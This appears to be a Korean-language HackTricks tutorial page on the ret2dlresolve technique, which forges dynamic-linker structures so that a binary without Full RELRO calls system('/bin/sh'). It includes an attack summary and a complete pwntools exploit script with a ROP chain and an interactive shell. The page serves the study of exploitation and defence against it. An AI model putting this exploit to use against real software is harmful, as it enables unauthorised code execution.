# Ret2dlresolve {{#include ../../../banners/hacktricks-training.md}} ## Basic Information [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 및 [**Relro**](../common-binary-protections-and-bypasses/relro.md)에 대한 페이지에서 설명한 바와 같이, Full Relro가 없는 바이너리는 처음 사용될 때 기호(외부 라이브러리에 대한 주소와 같은)를 해결합니다. 이 해결은 **`_dl_runtime_resolve`** 함수를 호출하여 발생합니다. **`_dl_runtime_resolve`** 함수는 지정된 기호를 해결하는 데 필요한 몇 가지 구조체에 대한 참조를 스택에서 가져옵니다. 따라서 요청된 기호(예: **`system`** 함수)를 동적으로 연결된 해결을 위해 **모든 이러한 구조체를 위조**하고 구성된 매개변수(예: **`system('/bin/sh')`**)로 호출할 수 있습니다. 일반적으로 이러한 모든 구조체는 **쓰기 가능한 메모리에서 `read`를 호출하는 초기 ROP 체인을 만들어 위조**됩니다. 그런 다음 **구조체**와 문자열 **`'/bin/sh'`**가 알려진 위치에 저장되도록 읽기 위해 전달되고, 이후 ROP 체인은 **`_dl_runtime_resolve`**를 `$'/bin/sh'`의 주소로 호출하여 계속됩니다. > [!TIP] > 이 기술은 syscall 가젯이 없고([**ret2syscall**](rop-syscall-execv.md) 또는 [SROP](srop-sigreturn-oriented-programming.md)와 같은 기술을 사용할 수 없는 경우) libc 주소를 유출할 방법이 없을 때 특히 유용합니다. 이 기술에 대한 더 나은 설명은 비디오의 후반부에서 찾을 수 있습니다: {{#ref}} https://youtu.be/ADULSwnQs-s?feature=shared {{#endref}} ## Structures 3개의 구조체: **`JMPREL`**, **`STRTAB`** 및 **`SYMTAB`**를 위조해야 합니다. 이러한 구조체가 어떻게 구성되는지에 대한 더 나은 설명은 [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)에서 확인할 수 있습니다. ## Attack Summary 1. 가짜 구조체를 어딘가에 작성합니다. 2. system의 첫 번째 인수 설정 (`$rdi = &'/bin/sh'`) 3. **`_dl_runtime_resolve`**를 호출하기 위해 스택에 구조체의 주소를 설정합니다. 4. **Call** `_dl_runtime_resolve` 5. **`system`**이 해결되고 `'/bin/sh'`를 인수로 호출됩니다. ## Example 여기에서 [**이 기술의 예**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation)를 찾을 수 있으며, **최종 ROP 체인에 대한 매우 좋은 설명이 포함되어 있습니다**, 하지만 여기 사용된 최종 익스플로잇은 다음과 같습니다: ```python from pwn import * elf = context.binary = ELF('./vuln', checksec=False) p = elf.process() rop = ROP(elf) # create the dlresolve object dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh']) rop.raw('A' * 76) rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset log.info(rop.dump()) p.sendline(rop.chain()) p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in p.interactive() ``` ## 참고 문헌 - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) {{#include ../../../banners/hacktricks-training.md}}